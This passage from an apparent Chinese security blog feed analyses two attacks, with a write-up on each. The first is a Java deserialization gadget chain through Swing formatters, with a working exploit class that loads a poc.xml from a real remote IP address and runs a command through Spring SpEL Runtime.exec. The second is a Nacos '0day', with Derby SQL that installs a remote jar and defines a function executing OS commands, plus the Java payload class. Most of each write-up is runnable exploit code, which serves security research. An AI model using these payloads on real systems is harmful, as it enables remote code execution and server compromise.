  updateMaskIfNecessary();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>调用了一个updateMaskIfNecessary</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">updateMaskIfNecessary</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (!getAllowsInvalid() &amp;&amp; (getFormat() != <span class="literal">null</span>)) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!isValidMask()) &#123;</span><br><span class="line">            updateMask();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">newString</span> <span class="operator">=</span> getFormattedTextField().getText();</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (!newString.equals(string)) &#123;</span><br><span class="line">                updateMask();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>又调用了updateMask</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">updateMask</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (getFormat() != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="type">Document</span> <span class="variable">doc</span> <span class="operator">=</span> getFormattedTextField().getDocument();</span><br><span class="line"></span><br><span class="line">        validMask = <span class="literal">false</span>;</span><br><span class="line">        <span class="keyword">if</span> (doc != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                string = doc.getText(<span class="number">0</span>, doc.getLength());</span><br><span class="line">            &#125; <span class="keyword">catch</span> (BadLocationException ble) &#123;</span><br><span class="line">                string = <span class="literal">null</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (string != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    <span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> stringToValue(string);</span><br><span class="line">                    <span class="type">AttributedCharacterIterator</span> <span class="variable">iterator</span> <span class="operator">=</span> getFormat().</span><br><span class="line">                              formatToCharacterIterator(value);</span><br><span class="line"></span><br><span class="line">                    updateMask(iterator);</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">catch</span> (ParseException pe) &#123;&#125;</span><br><span class="line">                <span class="keyword">catch</span> (IllegalArgumentException iae) &#123;&#125;</span><br><span class="line">                <span class="keyword">catch</span> (NullPointerException npe) &#123;&#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现调用了Object value &#x3D; stringToValue(string);</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">stringToValue</span><span class="params">(String text)</span> <span class="keyword">throws</span> ParseException &#123;</span><br><span class="line">    <span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> stringToValue(text, getFormat());</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Convert to the value class if the Value returned from the</span></span><br><span class="line">    <span class="comment">// Format does not match.</span></span><br><span class="line">    <span class="keyword">if</span> (value != <span class="literal">null</span> &amp;&amp; getValueClass() != <span class="literal">null</span> &amp;&amp;</span><br><span class="line">                         !getValueClass().isInstance(value)) &#123;</span><br><span class="line">        value = <span class="built_in">super</span>.stringToValue(value.toString());</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (!isValidValue(value, <span class="literal">true</span>)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ParseException</span>(<span class="string">&quot;Value not within min/max range&quot;</span>, <span class="number">0</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (ClassCastException cce) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ParseException</span>(<span class="string">&quot;Class cast exception comparing values: &quot;</span></span><br><span class="line">                                 + cce, <span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> value;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这时候发现调用到DefaultFormatter#stringToValue</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">stringToValue</span><span class="params">(String string)</span> <span class="keyword">throws</span> ParseException &#123;</span><br><span class="line">    Class&lt;?&gt; vc = getValueClass();</span><br><span class="line">    <span class="type">JFormattedTextField</span> <span class="variable">ftf</span> <span class="operator">=</span> getFormattedTextField();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (vc == <span class="literal">null</span> &amp;&amp; ftf != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> ftf.getValue();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (value != <span class="literal">null</span>) &#123;</span><br><span class="line">            vc = value.getClass();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (vc != <span class="literal">null</span>) &#123;</span><br><span class="line">        Constructor&lt;?&gt; cons;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            ReflectUtil.checkPackageAccess(vc);</span><br><span class="line">            SwingUtilities2.checkAccess(vc.getModifiers());</span><br><span class="line">            cons = vc.getConstructor(<span class="keyword">new</span> <span class="title class_">Class</span>&lt;?&gt;[]&#123;String.class&#125;);</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">catch</span> (NoSuchMethodException nsme) &#123;</span><br><span class="line">            cons = <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (cons != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                SwingUtilities2.checkAccess(cons.getModifiers());</span><br><span class="line">                <span class="keyword">return</span> cons.newInstance(<span class="keyword">new</span> <span class="title class_">Object</span>[] &#123; string &#125;);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Throwable ex) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ParseException</span>(<span class="string">&quot;Error creating instance&quot;</span>, <span class="number">0</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> string;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>会进行一个任意类实例化</p><p>即可ClassPathXmlApplicationContext</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image-20241108150747-u9jigmq.png" alt="image-20241108150747-u9jigmq"></p><h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.n1ght.src;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.n1ght.StringFormat;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.support.ClassPathXmlApplicationContext;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.swing.*;</span><br><span class="line"><span class="keyword">import</span> javax.swing.text.DefaultFormatter;</span><br><span class="line"><span class="keyword">import</span> javax.swing.text.InternationalFormatter;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span>  Exception&#123;</span><br><span class="line"></span><br><span class="line">        <span class="type">InternationalFormatter</span> <span class="variable">internationalFormatter</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InternationalFormatter</span>();</span><br><span class="line">        <span class="type">DefaultFormatter</span> <span class="variable">defaultFormatter</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DefaultFormatter</span>();</span><br><span class="line">        defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);</span><br><span class="line">        <span class="type">JFormattedTextField</span> <span class="variable">jFormattedTextField</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JFormattedTextField</span>(defaultFormatter);</span><br><span class="line">        jFormattedTextField.setValue(<span class="string">&quot;http://112.124.59.213/poc.xml&quot;</span>);</span><br><span class="line">        <span class="type">StringFormat</span> <span class="variable">aaa</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringFormat</span>(<span class="string">&quot;&#123;0&#125;&quot;</span>);</span><br><span class="line">        internationalFormatter.setFormat(aaa);</span><br><span class="line">        UnSafeTools.setObject(internationalFormatter,</span><br><span class="line">                JFormattedTextField.AbstractFormatter.class.getDeclaredField(<span class="string">&quot;ftf&quot;</span>),</span><br><span class="line">                jFormattedTextField);</span><br><span class="line">        UnSafeTools.setObject(internationalFormatter,</span><br><span class="line">                DefaultFormatter.class.getDeclaredField(<span class="string">&quot;allowsInvalid&quot;</span>),</span><br><span class="line">                <span class="literal">false</span>);</span><br><span class="line">        UnSafeTools.setObject(internationalFormatter,</span><br><span class="line">                InternationalFormatter.class.getDeclaredField(<span class="string">&quot;validMask&quot;</span>),</span><br><span class="line">                <span class="literal">true</span>);</span><br><span class="line">        UnSafeTools.setObject(internationalFormatter,</span><br><span class="line">                DefaultFormatter.class.getDeclaredField(<span class="string">&quot;valueClass&quot;</span>),</span><br><span class="line">                ClassPathXmlApplicationContext.class);</span><br><span class="line">        internationalFormatter.setAllowsInvalid(<span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">bao</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(bao).writeObject(internationalFormatter);</span><br><span class="line">        System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));</span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">byteArrayInputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(bao.toByteArray());</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(byteArrayInputStream).readObject();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>UnsafeTools</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.n1ght.src;<span class="comment">//</span></span><br><span class="line"><span class="comment">// Source code recreated from a .class file by IntelliJ IDEA</span></span><br><span class="line"><span class="comment">// (powered by FernFlower decompiler)</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> sun.misc.Unsafe;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UnSafeTools</span> &#123;</span><br><span class="line">    <span class="keyword">static</span> Unsafe unsafe;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UnSafeTools</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Unsafe <span class="title function_">getUnsafe</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> Unsafe.class.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);</span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        unsafe = (Unsafe)field.get((Object)<span class="literal">null</span>);</span><br><span class="line">        <span class="keyword">return</span> unsafe;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setObject</span><span class="params">(Object o, Field field, Object value)</span> &#123;</span><br><span class="line">        unsafe.putObject(o, unsafe.objectFieldOffset(field), value);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">newClass</span><span class="params">(Class c)</span> <span class="keyword">throws</span> InstantiationException &#123;</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> unsafe.allocateInstance(c);</span><br><span class="line">        <span class="keyword">return</span> o;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">bypassModule</span><span class="params">(Class src, Class dst)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> getUnsafe();</span><br><span class="line">        <span class="type">Method</span> <span class="variable">getModule</span> <span class="operator">=</span> dst.getDeclaredMethod(<span class="string">&quot;getModule&quot;</span>);</span><br><span class="line">        getModule.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">module</span> <span class="operator">=</span> getModule.invoke(dst);</span><br><span class="line">        <span class="type">long</span> <span class="variable">addr</span> <span class="operator">=</span> unsafe.objectFieldOffset(Class.class.getDeclaredField(<span class="string">&quot;module&quot;</span>));</span><br><span class="line">        unsafe.getAndSetObject(src, addr, <span class="keyword">module</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> Unsafe.class.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);</span><br><span class="line">            field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            unsafe = (Unsafe)field.get((Object)<span class="literal">null</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var1) &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;Error: &quot;</span> + var1);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>poc.xml</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span> ?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">&quot;http://www.springframework.org/schema/beans&quot;</span></span></span><br><span class="line"><span class="tag"><span class="attr">xmlns:xsi</span>=<span class="string">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span></span></span><br><span class="line"><span class="tag"><span class="attr">xsi:schemaLocation</span>=<span class="string">&quot;http://www.springframework.org/schema/beans</span></span></span><br><span class="line"><span class="string"><span class="tag">http://www.springframework.org/schema/beans/spring-beans.xsd&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">bean</span> <span class="attr">id</span>=<span class="string">&quot;data&quot;</span> <span class="attr">class</span>=<span class="string">&quot;java.lang.String&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">constructor-arg</span>&gt;</span><span class="tag">&lt;<span class="name">value</span>&gt;</span>PAYLOAD<span class="tag">&lt;/<span class="name">value</span>&gt;</span><span class="tag">&lt;/<span class="name">constructor-arg</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">bean</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">bean</span> <span class="attr">class</span>=<span class="string">&quot;#&#123;T(java.lang.Runtime).getRuntime().exec(&#x27;command&#x27;)&#125;&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">bean</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">beans</span>&gt;</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;链尾来自于avss geekcon2024的old log，查找到一个链子去通往他，但是实例化成功了，无法查遍了Format都无法控制参数，于是手动patch了一个继承Format类使他的parseObject可控。&lt;/p&gt;
&lt;p&gt;用codeql查询到漏洞利用链的过程就省略</summary>
      
    
    
    
    
    <category term="java" scheme="https://www.n1ght.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>nacos-0day分析</title>
    <link href="https://www.n1ght.cn/2024/08/20/nacos-0day%E5%88%86%E6%9E%90/"/>
    <id>https://www.n1ght.cn/2024/08/20/nacos-0day%E5%88%86%E6%9E%90/</id>
    <published>2024-08-20T10:00:00.000Z</published>
    <updated>2024-08-21T09:26:03.327Z</updated>
    
    <content type="html"><![CDATA[<h2 id="首先下载"><a href="#首先下载" class="headerlink" title="首先下载"></a>首先下载</h2><h3 id="poc"><a href="#poc" class="headerlink" title="poc"></a>poc</h3><p><a href="https://github.com/ayoundzw/nacos-poc">https://github.com/ayoundzw/nacos-poc</a></p><h3 id="服务"><a href="#服务" class="headerlink" title="服务"></a>服务</h3><p><a href="https://github.com/alibaba/nacos/releases/tag/2.3.2">https://github.com/alibaba/nacos/releases/tag/2.3.2</a></p><h2 id="开启调试"><a href="#开启调试" class="headerlink" title="开启调试"></a>开启调试</h2><p>修改</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">set</span> &quot;NACOS_OPTS=<span class="variable">%NACOS_OPTS%</span>  -agentlib:jdwp=transport=dt_socket,address=<span class="number">9000</span>,server=y,suspend=n  -jar <span class="variable">%BASE_DIR%</span>\target\<span class="variable">%SERVER%</span>.jar&quot;</span><br></pre></td></tr></table></figure><p>看到poc<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240716001235.png"><br>查看sql语句<br>这个option_sql自始至终没有用到过</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">post_sql = <span class="string">&quot;&quot;&quot;CALL sqlj.install_jar(&#x27;&#123;service&#125;&#x27;, &#x27;NACOS.&#123;id&#125;&#x27;, 0)\n</span></span><br><span class="line"><span class="string">        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY(&#x27;derby.database.classpath&#x27;,&#x27;NACOS.&#123;id&#125;&#x27;)\n</span></span><br><span class="line"><span class="string">        CREATE FUNCTION S_EXAMPLE_&#123;id&#125;( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME &#x27;test.poc.Example.exec&#x27;\n&quot;&quot;&quot;</span>.<span class="built_in">format</span>(<span class="built_in">id</span>=<span class="built_in">id</span>,service=service);</span><br><span class="line">        option_sql = <span class="string">&quot;UPDATE ROLES SET ROLE=&#x27;1&#x27; WHERE ROLE=&#x27;1&#x27; AND ROLE=S_EXAMPLE_&#123;id&#125;(&#x27;&#123;cmd&#125;&#x27;)\n&quot;</span>.<span class="built_in">format</span>(<span class="built_in">id</span>=<span class="built_in">id</span>,cmd=command);</span><br><span class="line">        get_sql = <span class="string">&quot;select * from (select count(*) as b, S_EXAMPLE_&#123;id&#125;(&#x27;&#123;cmd&#125;&#x27;) as a from config_info) tmp /*ROWS FETCH NEXT*/&quot;</span>.<span class="built_in">format</span>(<span class="built_in">id</span>=<span class="built_in">id</span>,cmd=command);</span><br></pre></td></tr></table></figure><p>首先</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CALL</span> sqlj.install_jar(<span class="string">&#x27;&#123;service&#125;&#x27;</span>, <span class="string">&#x27;NACOS.&#123;id&#125;&#x27;</span>, <span class="number">0</span>)</span><br></pre></td></tr></table></figure><p>远程加载一个jar进来</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY(<span class="string">&#x27;derby.database.classpath&#x27;</span>,<span class="string">&#x27;NACOS.&#123;id&#125;&#x27;</span>)</span><br></pre></td></tr></table></figure><p>将这个类加入到derby.database.classpath</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> <span class="keyword">FUNCTION</span> S_EXAMPLE_&#123;id&#125;( PARAM <span class="type">VARCHAR</span>(<span class="number">2000</span>)) <span class="keyword">RETURNS</span> <span class="type">VARCHAR</span>(<span class="number">2000</span>) <span class="keyword">PARAMETER</span> STYLE JAVA <span class="keyword">NO</span> <span class="keyword">SQL</span> <span class="keyword">LANGUAGE</span> JAVA <span class="keyword">EXTERNAL</span> NAME <span class="string">&#x27;test.poc.Example.exec&#x27;</span></span><br></pre></td></tr></table></figure><p>创建一个静态方法<br>返回值也要是String<br>poc就是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> test.poc;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;  </span><br><span class="line"><span class="keyword">import</span> java.util.Scanner;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Example</span> &#123;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">exec</span><span class="params">(String id)</span><span class="keyword">throws</span> Exception&#123;  </span><br><span class="line">        <span class="type">InputStream</span> <span class="variable">inputStream</span> <span class="operator">=</span> Runtime.getRuntime().exec(id).getInputStream();  </span><br><span class="line">        <span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Scanner</span>(inputStream).next();  </span><br><span class="line">        <span class="keyword">return</span> s;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;  </span><br><span class="line">        System.out.println(<span class="string">&quot;aaa&quot;</span>);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在idea里面打包一个类<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240716002625.png"><br>将生成的jar包重命名为download，然后python -m http.server 5000即可</p><h2 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h2><p>下载源码<br>搜索<br>&#x2F;nacos&#x2F;v1&#x2F;cs&#x2F;ops&#x2F;data&#x2F;removal<br>在com.alibaba.nacos.config.server.controller.ConfigOpsController#importDerby函数里面，有鉴权</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**  </span></span><br><span class="line"><span class="comment"> * // TODO the front page should appear operable The external data source is imported into derby.  </span></span><br><span class="line"><span class="comment"> *  </span></span><br><span class="line"><span class="comment"> * &lt;p&gt;mysqldump --defaults-file=&quot;XXX&quot; --host=0.0.0.0 --protocol=tcp --user=XXX --extended-insert=FALSE \  </span></span><br><span class="line"><span class="comment"> * --complete-insert=TRUE \ --skip-triggers --no-create-info --skip-column-statistics &quot;&#123;SCHEMA&#125;&quot; &quot;&#123;TABLE_NAME&#125;&quot; * * <span class="doctag">@param</span> multipartFile &#123;<span class="doctag">@link</span> MultipartFile&#125;  </span></span><br><span 